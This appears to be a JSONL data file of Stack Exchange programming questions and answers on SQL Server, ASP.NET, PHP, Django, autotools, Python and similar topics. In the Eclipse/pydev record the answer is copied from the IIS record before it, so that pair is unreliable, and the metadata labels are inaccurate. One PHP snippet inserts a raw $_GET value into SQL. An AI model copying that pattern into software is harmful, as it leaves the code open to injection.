"url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.734032"}
{"id": "hf_7c2f288d9c0a", "question": "<p>The developer environment db server is SqlServer 2005 (developer edition)</p>\n\n<p>Is there any way to make sure my SQL Queries will run in SqlServer 2000?</p>\n\n<p>This database is set to Compatibility level \"SQL Server 2000 (80)\" but some queries that run without problems in the development system can not run in the Test Server (SqlServer).</p>\n\n<p>(The problems seems to be in subqueries)</p>\n", "question_body": "", "answer": "Compatibility levels are designed to work the opposite way - to allow an older version of T-SQL code to work without modifications on a newer version of SQL Server.  The changes typically involve T-SQL syntax and reserved words, and it's possible to use SQL Server 2005 features such as INCLUDED columns in indexes on a database in Compatibility Level 80.  However, you can't use 2005 T-SQL features such as CROSS APPLY.\nYour best option is to develop/test all your code against a SQL Server 2000 instance.  Note that you can use 2005's Management Studio to connect to the SQL Server 2000 instance, so you don't have to go backwards with regards to tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.757884"}
{"id": "hf_171e0c36e64c", "question": "<p>We need to see what methods/fields an object has in Javascript.</p>\n", "question_body": "", "answer": "If you are using firefox then the\nfirebug plug-in\nconsole is an excellent way of examining objects\n```\n```\nconsole.debug(myObject);\n```\n```\nAlternatively you can loop through the properties (including methods) like this:\n```\n```\nfor (property in object) {\n    // do what you want with property, object[property].value\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.792914"}
{"id": "hf_914fbf1e4a2c", "question": "<p>I've found an interesting article about Lucene and geosearching:</p>\n\n<p><a href=\"http://sujitpal.blogspot.com/2008/02/spatial-search-with-lucene.html\" rel=\"nofollow noreferrer\">http://sujitpal.blogspot.com/2008/02/spatial-search-with-lucene.html</a></p>\n\n<p>Is there an equivilant .NET implementation out there that I have been unable to find or do I have to rework the Java-code in his example to fit in the .NET Framework?</p>\n", "question_body": "", "answer": "I came across this article, as well.  I do not see a .NET-specific in my Googling, so I am planning on probably porting this code when the need arises, as well.  Right now, I am just getting my feet wet with Lucene.NET and have not gotten to the point that I am comfortable enough with it to start extending it, yet.\nThe code in the article appears to be a derived example of the conceptual geo-distance functionality outlined in Lucene In Action.  Although the book is based on the Java product, it is a great read.  The samples port easily and it is full of information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.816405"}
{"id": "hf_abfb8dfaeae5", "question": "<p>How can I get a full list of Groups in my Active Directory?</p>\n", "question_body": "", "answer": "Microsoft .NET Framework provides a standard library for working with Active Directory:\nSystem.DirectoryServices namespace\nin the System.DirectoryServices.dll.\nMicrosoft recommends using two main classes from the System.DirectoryServices namespace:\nDirectoryEntry\nand\nDirectorySearcher\n. In most cases, it is enough to use DirectorySearcher class only.\nYou can find some examples in this\nCodeProject article\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.872592"}
{"id": "hf_2cb0aa595d6b", "question": "<pre><code>A.Event1 := nil;\nA.Event2 := nil;\ntry\n  ...\nfinally\n  A.Event1 := MyEvent1;\n  A.Event2 := MyEvent2;\nend;\n</code></pre>\n\n<p>Can something go wrong with it?</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>I've accepted Barry's answer because it answered exactly what I asked, but Vegar's answer is also correct depending on the scenario, sadly I can't accept both.</p>\n", "question_body": "", "answer": "It entirely depends on what happens in the bit of code marked '...'. If it e.g. starts up a background thread and tries to invoke Event1 or Event2 after execution has continued into the finally block, you may get unexpected results.\nIf the code is entirely single-threaded, then yes, neither Event1 nor Event2 should be triggered while the code is between the try and finally.\nHowever, that does assume that Event1 and Event2 properties (all Delphi events are properties of a method pointer type) do not do unusual things in their setters. A pathologically malicious event setter could squirrel away a method pointer, and still be able to invoke it, even after you later call the setter with 'nil' as the value.\nBut that would be highly unusual behaviour.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.908465"}
{"id": "hf_3d38af9e826c", "question": "<p>I know how to disable <a href=\"https://stackoverflow.com/questions/303488/in-php-how-can-you-clear-a-wsdl-cache\">WSDL-cache</a> in PHP, but what about force a re-caching of the WSDL? </p>\n\n<p>This is what i tried: I run my code with caching set to disabled, and the new methods showed up as espected. Then I activated caching, but of some reason my old non-working wsdl showed up again. So: how can I force my new WSDL to overwrite my old cache?</p>\n", "question_body": "", "answer": "I'd try\n```\n```\n$limit = ini_get('soap.wsdl_cache_limit');\nini_set('soap.wsdl_cache_limit', 0);\nini_set('soap.wsdl_cache_limit', $limit);\n```\n```\nOr possibly set\n```\nsoap.wsdl_cache_ttl\n```\nto 0 and back", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.955742"}
{"id": "hf_1990f337b38f", "question": "<p>I have the following code in Visual Studio 2005.</p>\n\n<pre><code>    Dim OutFile As System.IO.StreamWriter\n    Try\n        OutFile = New System.IO.StreamWriter(Filename)\n       // Do stuff with OutFile\n    Catch Ex As Exception\n       // Handle Exception\n    Finally\n       If OutFile IsNot Nothing Then OutFile.Close()\n    End Try\n</code></pre>\n\n<p>But VS2005 brings up the warning for the line \"If OutFile IsNot..\" that </p>\n\n<blockquote>\n  <p>Variable 'OutFile' is used before it has been assigned a value. A null reference exception could result at runtime.</p>\n</blockquote>\n\n<p>Is there some way of removing this warning by subtly altering the code or is there just a better way of doing what I'm trying to do?</p>\n\n<p>Thanks</p>\n\n<p>Rob</p>\n", "question_body": "", "answer": "```\n```\nDim OutFile As System.IO.StreamWriter\nOutFile = Nothing\nTry\n    OutFile = New System.IO.StreamWriter(Filename)\n   // Do stuff with OutFile\nCatch Ex As Exception\n   // Handle Exception\nFinally\n   If OutFile IsNot Nothing Then OutFile.Close()\nEnd Try\n```\n```\nSimilar to\nC# error: Use of unassigned local variable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.979470"}
{"id": "hf_7980d236dbd3", "question": "<p>I have the following route defined</p>\n\n<pre><code>            routes.MapRoute(\n            \"ItemName\",\n            \"{controller}/{action}/{projectName}/{name}\",\n            new { controller = \"Home\", action = \"Index\", name = \"\", projectName = \"\" }\n            );\n</code></pre>\n\n<p>This route actually works, so if I type in the browser</p>\n\n<pre><code>/Milestone/Edit/Co-Driver/Feature complete\n</code></pre>\n\n<p>It correctly goes to the Milestone controller, the edit action and passes the values.</p>\n\n<p>However, if I try and construct the link in the view with a url.action - </p>\n\n<pre><code>&lt;%=Url.Action(\"Edit\", \"Milestone\", new {name=m.name, projectName=m.Project.title})%&gt;\n</code></pre>\n\n<p>I get the following url</p>\n\n<pre><code>Milestone/Edit?name=Feature complete&amp;projectName=Co-Driver\n</code></pre>\n\n<p>It still works, but isn't very clean. Any ideas?</p>\n", "question_body": "", "answer": "You can try\n```\n```\nHtml.RouteLink(\"Edit\",\"ItemName\", new {name=m.name, projectName=m.Project.title});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.013880"}
{"id": "hf_1ad6a4c19f6d", "question": "<p>Has anyone encountered the following problem: I have IIS7 running on my computer. On that same computer, I open IE7 and the website works (<a href=\"http://localhost/web.site/Default.aspx\" rel=\"nofollow noreferrer\">http://localhost/web.site/Default.aspx</a>). Put that same url in Firefox 3 and I get the welcome screen of IIS7, a big image with IIS7 in the middle and 'Welcome' in several different languages. Clicking on the image leads you to <a href=\"http://www.iis.net/\" rel=\"nofollow noreferrer\"><a href=\"http://www.iis.net/\" rel=\"nofollow noreferrer\">http://www.iis.net/</a></a>.</p>\n", "question_body": "", "answer": "One browser accesses your server via 127.0.0.1, and another via your external IP.\nMake sure virtualhost works with all network interfaces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.036839"}
{"id": "hf_86c5fd3f5d0f", "question": "<p>Question so easy that fitted in the title :)\nEclipse (pydev): Is it possible to assign a shortcut to send selection to the python console?</p>\n", "question_body": "", "answer": "One browser accesses your server via 127.0.0.1, and another via your external IP.\nMake sure virtualhost works with all network interfaces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.060295"}
{"id": "hf_b237ed6bfbce", "question": "<p>I haven't played with CSS for too long a time and am without references at the moment. My question should be fairly easy but googling isn't bringing up a sufficient answer. So, adding to the collective knowledge...</p>\n\n<pre><code>|#header---------------------------------------------------------------|\n|                               TITLE                                  |\n|#sub-title------------------------------------------------------------|\n|bread &gt; crumb                    |                  username logout   |\n|#sub-left                        |                          #sub-right|\n|---------------------------------|------------------------------------|\n</code></pre>\n\n<p>That's what I'm wanting my layout to be. The heading anyways. I wanted sub-title to contain sub-left AND sub-right. What css rules do I use to ensure a div is bound by the attributes of another div. In this case, how do I ensure that sub-left and sub-right stay within sub-title?           </p>\n", "question_body": "", "answer": "Something like this perhaps...\n```\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\n<html>\n    <head>\n        <style>\n            #container\n            {\n                width:600px;\n            }\n\n            #head, #sub-title\n            {\n                width:100%;\n            }\n\n            #sub-left, #sub-right\n            {\n                width:50%;\n                float:left;\n            }\n\n        </style>\n    </head>\n\n    <body>\n        <div id=\"container\">\n            <div id=\"head\">\n                 #head\n            </div>\n            <div id=\"sub-title\">\n                #sub-title\n                <div id=\"sub-left\">\n                    #sub-left\n                </div>\n\n                <div id=\"sub-right\">\n                    #sub-right\n                </div>\n            </div>\n        </div>\n    </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.118516"}
{"id": "hf_b7df67c8be44", "question": "<p>I'm currently developing a PHP application that's using an Access database as a backend. Not by choice you understand... the database is what the client used originally and using it is part of the requirements.<br><br>\nOne of the problems with this database is that the column names have the most insane naming convention you could possibly imagine. Uppercase, lowercase, underscores, spaces and the plain insane. For example the column \"gender\" holds a date. And so does column \"User2\". There's a lot more but you get the idea.<br><br>\nFaced with this I decided to create an array to map the database columns to PHP variables so we can isolate the code from the madness. However my colleague believes that I'm over-complicating things and we should use the database's column names for the corresponding PHP variables so we don't need to go through the mapping array to find what goes where.<br><br>\nSo my question is this... am I doing the right thing or am I complicating things?</p>\n", "question_body": "", "answer": "Absolutely you are on the right track.  If you don't abstract away the madness you will eventually succumb to the madness yourself.\nYour colleague has a valid point though, so I suggest you also code an easy way to determine the data to column mapping in PHP.\nThis isn't about keeping it simple, it's about retrofitting a solid foundation to build upon.\nThe thing that would worry me is that this kind of random design often hides certain business rules, things like \"...if the gender is a date then they must have purchased a widget at some point therefore they can't be allowed to fribbish the lubdub... \" - crazy I know but more common than it should be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.142539"}
{"id": "hf_06a4976d7dac", "question": "<p>When designing a file format for recording binary data, what attributes would you think the format should have? So far, I've come up with the following important points:</p>\n\n<ul>\n<li>have some \"magic bytes\" at the beginning, to be able to recognize the files (in my specific case, this should also help to distinguish the files from \"legacy\" files)</li>\n<li>have a file version number at the beginning, so that the file format can be changed later without breaking compatibility</li>\n<li>specify the endianness and size of all data items; or: include some space to describe endianness/size of data (I would tend towards the former)</li>\n<li>possibly reserve some space for further per-file attributes that might be necessary in the future?</li>\n</ul>\n\n<p>What else would be useful to make the format more future-proof and minimize headache in the future?</p>\n", "question_body": "", "answer": "Take a look at the\nPNG spec\n. This format has some very good rationale behind it.\nAlso, decide what's important for your future format: compactness, compatibility, allowing to embed other formats (different compression algorithms) inside it. Another interesting example would be the\nGoogle's protocol buffers\n, where size of the transferred data is the king.\nAs for endianness, I'd suggest you to pick one option and stick with it, not allowing different byte orders. Otherwise, reading and writing libraries will only get more complex and slower.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.166189"}
{"id": "hf_16094fd99bb0", "question": "<p>Can anyone please help me to get all the domains in Active Directory. I have tried many times, but all the programs are listing only the current working domain. </p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "Using DirectorySearcher you can connect and read the structure of one Active Directory, including the structure (organization units, groups, users, computers, domain controllers). In order to connect to a different domain, you would need credentials of that other domain. We had problems in connecting to another domain from a machine that belongs to a different domain than the target one. I'm also curious if that's even possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.189698"}
{"id": "hf_a224ebae856e", "question": "<p>This is more of an academic inquiry than a practical question.  Are there any language or framework features that can, or will in future, allow a heterogeneous typed dcitionary, e.g. </p>\n\n<pre><code>myDict.Add(\"Name\", \"Bill\"); \nmyDict.Add(\"Height\", 1.2); \n</code></pre>\n\n<p>where myDict now contains not two <code>object</code> types as values, but one <code>string</code> and one <code>double</code>?  I could then retrieve my <code>double</code> with </p>\n\n<pre><code>double dbl = myDict[\"Height\"];\n</code></pre>\n\n<p>and expect a double or an exception to be thrown?</p>\n\n<p>Please note:  The Name and Height values are not necessarily of the same object.</p>\n", "question_body": "", "answer": "You can use Generic\n```\nDictionary<object, object>\n```\n; object type for key and object type for value. C# could help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.213710"}
{"id": "hf_14454fb7ab91", "question": "<p>I have this code</p>\n\n<pre><code>while($row = mysql_fetch_row($result))\n{\necho '&lt;tr&gt;';\n$pk = $row[0]['ARTICLE_NO'];\n\nforeach($row as $key =&gt; $value)\n{\necho '&lt;td&gt;&lt;a href=\"#\" onclick=\"GetAuctionData(\\''.$pk.'\\')\"&gt;' . $value . '&lt;/a&gt;&lt;/td&gt;';\n}\n</code></pre>\n\n<p>which gets pk. pk is then passed on to the axjax part with this:</p>\n\n<pre><code>function GetAuctionData(pk)\n{\n.....\nvar url=\"get_auction.php?\"\nurl=url+\"cmd=GetAuctionData&amp;pk=\"+pk;\n</code></pre>\n\n<p>And finally used in a separate php file with:</p>\n\n<pre><code>$pk = $_GET[\"pk\"];\n$sql=\"SELECT * FROM Auctions WHERE ARTICLE_NO ='$pk'\";\n</code></pre>\n\n<p>the second php file works fine when using it by itself and passing parameters. Likewise there are no errors anywhere. The problem seems to be with passing or generating $pk, as the links in the output file result in $pk being incremednted by 2, eg 4, 6, 8 etc</p>\n\n<p>I can not understand why this is happening.</p>\n", "question_body": "", "answer": "I don't think this does what you expect:\n```\n```\n$pk = $row[0]['ARTICLE_NO'];\n```\n```\nTry with:\n```\n```\n$pk = $row['ARTICLE_NO'];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.248402"}
{"id": "hf_27b3ea9063dd", "question": "<p>I need to test a url that it <strong>does not</strong> end with <code>.asp</code></p>\n\n<p>So <code>test</code>, <code>test.html</code> and <code>test.aspx</code> should match, but <code>test.asp</code> should not match.</p>\n\n<p>Normally you'd test if the url <strong>does</strong> end with .asp and negate the fact that it matched using the NOT operator in code:</p>\n\n<pre><code>if(!regex.IsMatch(url)) { // Do something }\n</code></pre>\n\n<p>In that case the regular expression would be <code>\\.asp$</code> but in this case I need the regular expression to result in a match. </p>\n\n<hr>\n\n<p>Background: I need to use the regular expression as a route contraint in the ASP.NET MVC <code>RouteCollection.MapRoute</code> extension method. The route needs to match all controllers but it should fall through when the controller in the url ends with .asp</p>\n", "question_body": "", "answer": "Try this\n```\n```\n^((?!\\.asp$).)*$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.329852"}
{"id": "hf_fd2aff4e2fee", "question": "<p>Does anyone know of a definitive list of LINQ to SQL query limitations that are not trapped at compile time, along with (where possible) workarounds for the limitations?</p>\n\n<p>The list we have so far is:</p>\n\n<ul>\n<li>Calling methods such as <code>.Date</code> on <code>DateTime</code>\n\n<ul>\n<li>no workaround found</li>\n</ul></li>\n<li><code>string.IsNullOrEmpty</code>\n\n<ul>\n<li>simple, just use <code>== \"\"</code> instead</li>\n</ul></li>\n<li><code>.Last()</code>\n\n<ul>\n<li>we used <code>.OrderByDescending(x =&gt; x.WhateverProperty).First()</code></li>\n</ul></li>\n</ul>\n", "question_body": "", "answer": "Basically, that list is huge... it is everything outside of the relatively\nsmall set of things that\nare\nhandled\n. Unfortunately, the\nLaw Of Leaky Abstractions\nkicks in, and each provider has different answers...\nLINQ-to-Objects will do anything (pretty much), since it is delegates; LINQ-to-SQL and Entity Framework have\ndifferent\nsets of support.\nIn general, I've had a fair amount of success using the\n```\nDateTime\n```\nproperties etc - but in reality, you're going to have to ensure that your query expressions are covered by unit tests, so that if you ever change providers (or the provider gets updated) you know it all still works.\nI guess one view is to think in terms of TSQL; there is no\n```\nBOTTOM n\n```\n, but there is a\n```\nTOP 1\n```\n(re the\n```\nOrderByDescending\n```\n); In terms of\n```\nstring.IsNullOrEmpty\n```\n, you could be quite literal:\n```\nfoo.Bar == null || foo.Bar == \"\"\n```\n; and with\n```\nDateTime.Date\n```\nyou can probably do quite a bit with\n```\nDATEPART\n```\n/ the various components.\nAnother option with LINQ-to-SQL is to encapsulate the logic in a UDF - so you could write a UDF that takes a\n```\ndatetime\n```\nand returns a\n```\ndatetime\n```\n, and expose that via the dbml onto the data-context. You can then use that in your queries:\n```\n```\nwhere ctx.Date(foo.SomeDate) == DateTime.Today\n```\n```\nThis approach, however, doesn't necessarily make good use of indexes.\nUpdate:\nThe supported method translations etc are\nhere\n.\nThe supported query operations etc are\nhere\n.\nFor the full gory details, you can look at\n```\nSystem.Data.Linq.SqlClient.PostBindDotNetConverter+Visitor\n```\nin reflector - in particular the\n```\nTranslate...\n```\nmethods; some\n```\nstring\n```\nfunctions are handled separately. So not a\nhuge\nselection - but this is an implementation detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.364710"}
{"id": "hf_999df19ca99d", "question": "<p>Is it possible to make a big 50MB database native on the iPhone?  So that it can be searched very quickly in a smart way?  With SQlite?</p>\n", "question_body": "", "answer": "There's some talk to a\nSQLite for iPhone SDK\nin this article. It uses\nFMDB\n, which is a cocoa wrapper fro SQLite3", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.422721"}
{"id": "hf_e23602199329", "question": "<p>I'm wondering if it's possible to define a foreign key in a models.py file in Django that is a reference to a table in another app?</p>\n\n<p>In other words, I have two apps, called cf and profiles, and in cf/models.py I have (amongst other things):</p>\n\n<pre><code>class Movie(models.Model):\n    title = models.CharField(max_length=255)\n</code></pre>\n\n<p>and in profiles/models.py I want to have:</p>\n\n<pre><code>class MovieProperty(models.Model):\n    movie = models.ForeignKey(Movie)\n</code></pre>\n\n<p>But I can't get it to work. I've tried:</p>\n\n<pre><code>    movie = models.ForeignKey(cf.Movie)\n</code></pre>\n\n<p>and I've tried importing cf.Movie at the beginning of models.py, but I always get errors, such as:</p>\n\n<pre><code>NameError: name 'User' is not defined\n</code></pre>\n\n<p>Am I breaking the rules by trying to tie two apps together in this way, or have I just got the syntax wrong?</p>\n", "question_body": "", "answer": "OK - I've figured it out. You can do it, you just have to use the right\n```\nimport\n```\nsyntax. The correct syntax is:\n```\n```\nfrom prototype.cf.models import Movie\n```\n```\nMy mistake was not specifying the\n```\n.models\n```\npart of that line. D'oh!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.490823"}
{"id": "hf_7f6e434f772d", "question": "<p>It' possible to use Junitperf with junit4?\nI've a simplet Junit4 test class with several tests and I want to do a TimedTest on single test of that class. How can I do that?</p>\n\n<p>To be more clear my Junit4 class is something like:</p>\n\n<pre><code>public class TestCitta {\n\n    @Test\n    public void test1 {}\n\n        @Test\n    public void test2 {}\n}\n</code></pre>\n\n<p>with junit3 i shold write something like:</p>\n\n<pre><code>public class TestCittaPerformance {\n\n    public static final long toleranceInMillis = 100;\n\n    public static Test suite() {\n\n        long maxElapsedTimeInMillis = 1000 + toleranceInMillis;\n\n        Test testCase = new TestCitta(\"test2\");\n\n        Test timedTest = new TimedTest(testCase, maxElapsedTimeInMillis);\n\n        return timedTest;\n    }\n\n    public static void main(String args[]) {\n        junit.textui.TestRunner.run(suite());\n    }\n}\n</code></pre>\n\n<p>with Junit4?</p>\n", "question_body": "", "answer": "I had the same problem but was not lucky trying to make it run in different build environments. So I used the @Rule feature available since JUnit 4 to inject performance test invocation and requirements checking using annotations. It turned out to become a small library which replaced JUnitPerf in this project and I published it under the name\ncontiperf\n. If you are interested in this approach, you can find it at\nhttps://github.com/lucaspouzac/contiperf\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.537680"}
{"id": "hf_be52cffc55de", "question": "<p>I have a project with several sources directories : </p>\n\n<pre><code>src/A\n   /B\n   /C\n</code></pre>\n\n<p>In each, the Makefile.am contains </p>\n\n<pre><code>AM_CXXFLAGS = -fPIC -Wall -Wextra\n</code></pre>\n\n<p>How can avoid repeating this in each source folder ? </p>\n\n<p>I tried to modifiy src/Makefile.am and the configure.in, but without success. I thought I could use AC_PROG_CXX to set the compilation flags globally but can't find much documentation on how to use those macro (do you have any pointer to such a documentation ?).</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "You can do several things:\n(1) One solution is to include a common makefile fragment on all your\n```\nMakefile.am\n```\ns:\n```\n```\ninclude $(top_srcdir)/common.mk\n...\nbin_PROGRAMS = foo\nfoo_SOURCES = ...\n```\n```\nin that case you would write\n```\n```\nAM_CXXFLAGS = -fpic -Wall -Wextra\n```\n```\nto\n```\ncommon.mk\n```\nand in the future it will be easier to add more macros or rules to all\n```\nMakefile.am\n```\ns by just editing this file.\n(2) Another solution would be to set these variables globally in your\n```\nconfigure.ac\n```\n(the name\n```\nconfigure.in\n```\nhas been deprecated long ago), as in :\n```\n```\n...\nAC_SUBST([AM_CXXFLAGS], [-fpic -Wall -Wextra])\n...\n```\n```\nThen you don't even have to say anything in your\n```\nMakefile.am\n```\ns, they automatically inherit this global definition.  The drawback is that you can't opt-out easily (with the first solution it's easy to decide not to include\n```\ncommon.mk\n```\n) and the dependency is not really explicit to third-party people (when they read the\n```\nMakefile.am\n```\nthey have no hint about where the flags may come from).\n(3) A third solution would be to do as\norsogufo\nsuggested: overwriting the user variable CXXFLAGS in\n```\nconfigure.ac\n```\n.  I would advise against it, because it defeats one of the features of the GNU Build System: users are allowed to override this variable at\n```\nmake\n```\n-time.   For instance you may want to type\n```\n```\nmake CXXFLAGS='-O0 -ggdb'\n```\n```\nwhen debugging a piece of code, and this will overwrite any definition of\n```\nCXXFLAGS\n```\n(but\nnot those in\n```\nAM_CXXFLAGS\n```\n).  To be honest, most projects fails to support this correctly because they play tricks with\n```\nCXXFLAGS\n```\n.\nFinally, I should mention that\n```\n-fpic\n```\n,\n```\n-Wall\n```\n, and\n```\n-Werror\n```\nare not portable options.\nDepending on the scope of your project you may want to add configure check for these (\ngnulib\nrecently acquired new macros to tests for warnings flags, and\nlibtool\ncan be used to build shared libraries).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.560994"}
{"id": "hf_760cba2207f9", "question": "<p>This code</p>\n\n<pre><code>select.select([sys.stdin], [], [], 1.0)\n</code></pre>\n\n<p>does exactly what I want on Linux, but not in Windows.</p>\n\n<p>I've used <code>kbhit()</code> in <code>msvcrt</code> before to see if data is available on stdin for reading, but in this case it always returns <code>0</code>.  Additionally <code>msvcrt.getch()</code> returns <code>'\\xff'</code> whereas <code>sys.stdin.read(1)</code> returns <code>'\\x01'</code>.  It seems as if the msvcrt functions are not behaving properly.</p>\n\n<p>Unfortunately I can't use TCP sockets as I'm not in control of the application talking my Python program.</p>\n", "question_body": "", "answer": "In some rare situations, you might care what stdin is connected to.  Mostly, you don't care -- you just read stdin.\nIn\n```\nsomeprocess | python myprogram.py\n```\n, stdin is connected to a pipe; in this case, the stdout of the previous process.  You simply read from\n```\nsys.stdin\n```\nand you're reading from the other process.  [Note that in Windows, however, there's still (potentially) a \"CON\" device with a keyboard.  It just won't be\n```\nsys.stdin\n```\n.]\nIn\n```\npython myprogram.py <someFile\n```\n, stdin is connected to a file.  You simply read from\n```\nsys.stdin\n```\nand you're reading from the file.\nIn\n```\npython myprogram.py\n```\n, stdin is left connected to the console (\n```\n/dev/ttyxx\n```\nin *nix).  You simple read from\n```\nsys.stdin\n```\nand you're reading from the keyboard.\nNote the common theme in the above three cases.  You simply read from\n```\nsys.stdin\n```\nand your program's environment defines everything for you.  You don't check \"to see if data is available on stdin for reading\".  It's already available.\nSometimes, you want a keyboard interrupt (or other shenanigans).  Python, BTW, has a keyboard interrupt as a first-class feature of the I/O elements.  Control-C raises an interrupt during I/O (it won't break into a tight loop, but it will signal a program that prints periodically.)\nSometimes you need to find out what kind of file\n```\nstdin\n```\nis connected to.\nSomething like\n```\nos.isatty( sys.stdin.fileno() )\n```\nIf\n```\nsys.stdin\n```\nis a TTY, you're program was left connected to the windows \"CON\" (the keyboard).  If\n```\nsys.stdin\n```\nis not a TTY, it's connected to a file or a pipe.\nExample\n```\n```\nMicrosoft Windows XP [Version 5.1.2600]\n(C) Copyright 1985-2001 Microsoft Corp.\n\nC:\\Documents and Settings\\slott>python\nPython 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)] on\nwin32\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import os\n>>> import sys\n>>> os.isatty( sys.stdin.fileno() )\nTrue\n>>>\n```\n```\nThe value of\n```\nTrue\n```\ntells me Python is running without a file or pipe attached.\n```\nsys.stdin\n```\nis the keyboard.  Using windows\n```\nkbhit\n```\nis needless.\nA value of\n```\nFalse\n```\ntells me Python is running with a file or pipe attached.\n```\nsys.stdin\n```\nis NOT the keyboard.  Checking\n```\nkbhit\n```\nmight be meaningful.  Also, I could open the\n```\nCON:\n```\ndevice and read the keyboard directly, separate from\n```\nsys.stdin\n```\n.\nI'm not sure why you need \"to see if data is available on stdin for reading\".  It might help to update your question with additional details of what you're trying to accomplish.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, 